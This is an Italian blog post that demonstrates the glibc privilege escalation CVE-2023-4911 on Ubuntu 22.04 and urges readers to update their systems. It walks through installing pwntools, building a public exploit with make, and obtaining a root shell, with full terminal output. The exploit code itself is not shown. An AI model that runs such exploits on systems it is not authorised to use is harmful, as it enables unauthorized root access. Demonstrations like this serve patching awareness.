Se infatti nell’annuncio originale non vi era alcuna menzione su come sfruttare la problematica, diversi exploit sono stati pubblicati nel frattempo, dimostrando come la problematica sia seria e tutto sommato facile da implementare.
Basta infatti cercare con le corrette parole chiave, ad esempio il codice CVE-2023-4911, ed una serie di articoli e repository emergono dalla ricerca, dimostrando come non sia poi così complicato mettere in atto gli step per lo sfruttamento della falla.
Unico requisito la presenza di python3 sulla macchina, in questo caso una Ubuntu 22.04 LTS, insieme al pacchetto pwntools, il secondo dei quali facilmente installabile via pip:
rasca@ubuntu-jammy:~$ python3 --version
Python 3.10.12
rasca@ubuntu-jammy:~/CVE-2023-4911$ pip install pwntools
Defaulting to user installation because normal site-packages is not writeable
Collecting pwntools
Downloading pwntools-4.11.0-py2.py3-none-any.whl (11.7 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 11.7/11.7 MB 5.1 MB/s eta 0:00:00
...
...
A questo punto, scaricando il repository dell’exploit:
ed eseguendo il comando make dopo qualche minuto verrà restituita una shell:
rasca@ubuntu-jammy:~/CVE-2023-4911$ make
python3 gen_libc.py
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
./exp
try 100
try 200
try 300
try 400
try 500
try 600
try 700
try 800
try 900
try 1000
try 1100
try 1200
try 1300
try 1400
try 1500
try 1600
try 1700
try 1800
try 1900
try 2000
try 2100
try 2200
try 2300
try 2400
try 2500
try 2600
try 2700
try 2800
try 2900
try 3000
Usage:
su [options] [-] [<user> [<argument>...]]
Change the effective user ID and group ID to that of <user>.
A mere - implies -l. If <user> is not given, root is assumed.
Options:
-m, -p, --preserve-environment do not reset environment variables
-w, --whitelist-environment <list> don't reset specified variables
-g, --group <group> specify the primary group
-G, --supp-group <group> specify a supplemental group
-, -l, --login make the shell a login shell
-c, --command <command> pass a single command to the shell with -c
--session-command <command> pass a single command to the shell with -c
and do not create a new session
-f, --fast pass -f to the shell (for csh or tcsh)
-s, --shell <shell> run <shell> if /etc/shells allows it
-P, --pty create a new pseudo-terminal
-h, --help display this help
-V, --version display version
For more details see su(1).
try 3100
try 3200
#
E l’utente della stessa è, ahinoi, proprio root:
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),137(libvirt),998(docker),1000(rasca,course)
Quindi l’escalation è possibile, percorribile e valeva la pena mostrarla per far capire come, se non lo avete fatto, sarà necessario aggiornare le vostre distribuzioni, siano queste Debian, Red Hat, Fedora o, come in questo caso Ubuntu.
Da sempre appassionato del mondo open-source e di Linux nel 2009 ho fondato il portale Mia Mamma Usa Linux! per condividere articoli, notizie ed in generale tutto quello che riguarda il mondo del pinguino, con particolare attenzione alle tematiche di interoperabilità, HA e cloud.
E, sì, mia mamma usa Linux dal 2009.